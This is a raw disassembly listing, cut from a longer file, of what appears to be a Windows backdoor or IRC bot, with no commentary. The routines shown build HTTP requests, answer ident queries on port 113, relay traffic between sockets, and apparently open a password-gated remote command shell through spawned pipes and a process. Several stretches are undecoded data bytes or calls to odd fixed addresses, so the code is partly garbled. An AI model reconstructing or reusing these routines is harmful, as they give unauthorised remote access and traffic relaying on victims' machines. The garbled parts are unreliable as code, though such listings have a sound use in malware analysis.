arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CAF14
		push	6
		push	1
		push	2
		call	dword_4CB024
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CAFA4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D158

loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CAFF4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CAFBC
		pop	esi

loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB03C
		call	dword_4CAEFC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------

loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CAFA4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CB024
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43DEEC[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CAFCC
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h

loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433FCC
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------

loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387

loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F88
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB03C
		push	dword ptr [ebp-4]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx

loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CB024
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43DEEC[ecx], eax
		call	dword_4CAEB4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFD0
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CAFCC
		test	eax, eax
		jnz	loc_410516

loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB038
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_434034
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43DEE4[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 19E8h
		dd 8B022601h, 0C969C44Dh, 234h,	8189C63Bh, 43DEF4h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 37E832h, 0EB900226h, 4EE890EDh
		dd 50022608h, 433FF868h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------

loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]

loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi

loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB024
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CAFA4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB028
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------

loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CAF5C

loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_4340BC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43DEEC[ebx]
		mov	dword_43DEE4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43DEF0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4106DE

loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_41068B
; ---------------------------------------------------------------------------

loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h

loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAFBC
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------

loc_4106DE:				; CODE XREF: ___:00410689j
		call	near ptr 2670D55h
		nop
		push	eax
		push	offset unk_43407C
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43DEEC[eax]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx

loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43DEF0[esi]
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43DEEC[esi]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759

loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43DEF0[esi]
		call	dword_4CB03C
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22BF844h
		db 90h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43DEEC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CAF8C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h

loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAFBC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CAEF8
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CAF38
		push	eax
		push	offset unk_434194
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26D0000h

loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------

loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0

loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D158
		push	dword ptr [esi]
		call	dword_4CAFF4
		cmp	dword_4CDD08, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CAFF4
		push	dword ptr [esi]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h

loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434158
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_43412C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		call	near ptr 26D0000h
		nop

loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434100
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26D0000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]

loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------

loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_4341C0
		call	sub_415220
		pop	ecx

loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------

loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax

loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4341EC
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 1415FF00h, 33004CAFh, 74C63BF6h, 5C68501Dh, 0E8004343h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
		dd 6857022Bh, 410CCBh, 9DE890h,	0C0850234h, 0E8902975h
		dd 2260299h, 43186850h,	59E80043h, 59000047h, 0FC15FF59h
		dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 0F522E857h, 5390022Bh
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0AFA415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CB024h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43DEECh, 50E0458Dh
		dd 0D015FF53h, 85004CAFh, 17850FC0h, 68000001h,	7FFFFFFFh
		dd 0CC15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342DCh
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB038h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CAF84h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB03015h, 858D5000h
		dd 0FFFFFBECh, 43429868h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	0E4888924h
		dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0D9E89050h, 8B0225F9h, 0C969B84Dh, 234h
		dd 8189C63Bh, 43DEF4h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 0F6E89032h, 0EB0225F8h, 0EE890EDh, 50022601h, 43425C68h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 3815FF08h, 50004CAFh
		dd 0FBEC858Dh, 2468FFFFh, 50004342h, 0AC15E8h, 0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB03C15h, 15FF5300h
		dd 4CB03Ch, 0AEFC15FFh,	75FF004Ch, 0A750E8B4h, 5659FFFFh
		dd 2BF337E8h, 335B9002h, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43DEEC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_4343BC
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------

loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_4343BC
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 2690000h

loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------

loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2750E81h
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_434388
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------

loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_410DDF:				; CODE XREF: sub_410CD5+104j
		call	near ptr 2690000h
		nop
		push	1
		push	dword ptr [esi+8]
		call	near ptr 26F0C98h
		nop

loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB03C
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax

loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		call	near ptr 2670D55h
		nop
		push	eax
		push	offset unk_43446C
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------

loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		call	near ptr 2670D55h
		nop
		push	eax
		push	offset unk_43442C

loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------

loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_434404
		call	sub_4151AC

loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi

loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi

loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi

loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi

loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx

